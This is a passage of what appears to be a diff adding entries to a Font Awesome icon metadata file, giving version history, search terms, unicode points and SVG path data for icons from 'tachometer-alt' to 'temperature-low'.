9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z" + } + }, + "free": [ + "solid" + ] + }, + "tachometer-alt": { + "changes": [ + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dashboard", + "fast", + "odometer", + "speed", + "speedometer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3fd", + "label": "Alternate Tachometer", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635743, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "tag": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "discount", + "label", + "price", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f02b", + "label": "tag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635745, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "tags": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "discount", + "label", + "price", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f02c", + "label": "tags", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635745, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z" + } + }, + "free": [ + "solid" + ] + }, + "tape": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "package", + "sticky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4db", + "label": "Tape", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635746, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z" + } + }, + "free": [ + "solid" + ] + }, + "tasks": { + "changes": [ + "2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "downloading", + "downloads", + "loading", + "progress", + "project management", + "settings", + "to do" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ae", + "label": "Tasks", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635747, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "taxi": { + "changes": [ + "4.1", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cab", + "cabbie", + "car", + "car service", + "lyft", + "machine", + "transportation", + "travel", + "uber", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ba", + "label": "Taxi", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635747, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "teamspeak": { + "changes": [ + "5.0.11", + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f9", + "label": "TeamSpeak", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775921, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z" + } + }, + "free": [ + "brands" + ] + }, + "teeth": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bite", + "dental", + "dentist", + "gums", + "mouth", + "smile", + "tooth" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f62e", + "label": "Teeth", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635748, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z" + } + }, + "free": [ + "solid" + ] + }, + "teeth-open": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dental", + "dentist", + "gums bite", + "mouth", + "smile", + "tooth" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f62f", + "label": "Teeth Open", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635747, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z" + } + }, + "free": [ + "solid" + ] + }, + "telegram": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2c6", + "label": "Telegram", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z" + } + }, + "free": [ + "brands" + ] + }, + "telegram-plane": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3fe", + "label": "Telegram Plane", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861024, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z" + } + }, + "free": [ + "brands" + ] + }, + "temperature-high": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cook", + "covid-19", + "mercury", + "summer", + "thermometer", + "warm" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f769", + "label": "High Temperature", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635749, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" + } + }, + "free": [ + "solid" + ] + }, + "temperature-low": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cold", + "cool", + "covid-19", + "mercury", + "thermometer", + "winter" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f76b", + "label": "Low Temperature", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635749, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + 